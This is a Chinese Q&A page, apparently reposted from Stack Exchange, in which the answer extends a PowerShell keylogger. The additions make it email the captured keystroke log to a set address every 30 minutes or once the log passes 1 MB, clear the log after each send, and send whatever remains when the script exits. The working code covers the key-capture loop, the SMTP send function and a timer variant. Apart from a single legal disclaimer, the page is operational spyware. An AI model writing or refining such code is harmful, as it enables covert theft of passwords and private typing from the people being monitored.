You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PowerShell键盘记录器脚本修改求助:实现定时/定大小发送日志到邮箱

解决方案

方案1:现有循环内加触发检查(最适合新手,无需额外组件)

你原有的$APIsignatures和API定义代码不需要修改,只需新增配置和修改循环逻辑即可,核心原理是利用现有每40ms执行一次的while循环,在每次按键检测结束后判断是否满足发送条件,不需要额外引入复杂组件。

首先新增全局配置和发送函数:

# ----- 你原有配置保留,以下为新增配置 -----
# 先补全你自己的SMTP配置(如果原有已经配置过可以跳过这部分)
$smtp = New-Object Net.Mail.SmtpClient("smtp.你的邮箱服务商.com", 端口号) # 例如smtp.qq.com对应端口587
$smtp.Credentials = New-Object System.Net.NetworkCredential("你的邮箱地址", "邮箱授权码")
$smtp.EnableSsl = $true
$email = "接收日志的邮箱地址"
$subject = "键盘记录日志"
$logFile = "本地日志存储路径,例如C:\Users\Public\keylog.txt"

# 发送触发规则配置
$sendIntervalMinutes = 30 # 固定发送间隔,单位分钟,此处设置为30分钟发一次
$maxLogSizeKB = 1024 # 日志大小阈值,单位KB,此处设置为超过1M就发送
$lastSendTime = Get-Date # 记录上次发送时间

# 封装发送日志的公共函数,避免重复写代码
function Send-LogMail {
    # 日志不存在或者为空就跳过发送
    if ((Test-Path $logFile) -and (Get-Item $logFile).Length -gt 0) {
        $logs = [System.IO.File]::ReadAllText($logFile, [System.Text.Encoding]::Unicode)
        $smtp.Send($email, $email, $subject, $logs)
        # 发送完成后清空日志,避免下次重复发送相同内容
        Clear-Content $logFile -Force
        $script:lastSendTime = Get-Date # 更新上次发送时间
    }
}

然后修改你原有循环和finally块的逻辑:

try {
    while ($true) {
        Start-Sleep -Milliseconds 40

        for ($ascii = 9; $ascii -le 254; $ascii++) {
            # 你原有按键检测逻辑保持不变
            $keystate = $API::GetAsyncKeyState($ascii)
            if ($keystate -eq -32767) {
                $null = [console]::CapsLock
                $mapKey = $API::MapVirtualKey($ascii, 3)
                $keyboardState = New-Object Byte[] 256
                $hideKeyboardState = $API::GetKeyboardState($keyboardState)
                $loggedchar = New-Object -TypeName System.Text.StringBuilder
                if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
                    [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)
                }
            }
        }

        # ----- 新增发送条件判断 -----
        $currentTime = Get-Date
        $logSizeKB = (Get-Item $logFile -ErrorAction SilentlyContinue).Length / 1KB
        # 满足时间间隔或者大小阈值任意一个条件就触发发送
        if (($currentTime - $lastSendTime).TotalMinutes -ge $sendIntervalMinutes -or $logSizeKB -ge $maxLogSizeKB) {
            Send-LogMail
        }
    }
}
finally {
    # 脚本异常退出时发送剩余日志,原有逻辑替换为调用公共函数即可
    Send-LogMail
}

注意事项

  • 首次运行如果日志文件不存在,会在第一次检测到按键输入时自动创建,不影响判断逻辑
  • 未经他人允许记录键盘输入属于违法行为,请勿将该脚本用于非法用途,需自行承担相应法律责任
  • 大部分邮箱的SMTP服务需要手动开启,并且需要使用专属授权码而非账号密码登录,注意提前检查你的SMTP配置是否正确

进阶方案:独立定时器触发

如果不想在按键检测循环里插入判断逻辑,可以用.NET自带的定时器实现独立线程触发,不会影响按键检测的灵敏度,适合后续功能扩展:

# 创建定时器,设置触发间隔为你配置的固定发送间隔
$timer = New-Object System.Timers.Timer
$timer.Interval = $sendIntervalMinutes * 60 * 1000 # 单位转换为毫秒
$timer.AutoReset = $true # 设置为循环触发
# 绑定定时器触发事件
Register-ObjectEvent -InputObject $timer -EventName Elapsed -Action {
    $logSizeKB = (Get-Item $logFile -ErrorAction SilentlyContinue).Length / 1KB
    # 每次触发先判断日志大小是否达标,两个条件满足任意一个就发送
    if ($logSizeKB -ge $maxLogSizeKB) {
        Send-LogMail
    }
} | Out-Null
$timer.Start() # 启动定时器

使用该方案需要注意:发送函数里用到的全局变量需要声明为脚本级作用域(前面加$script:前缀),否则定时器事件无法访问外层变量。

内容的提问来源于stack exchange,提问作者Tomasteel

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.03 00:57:00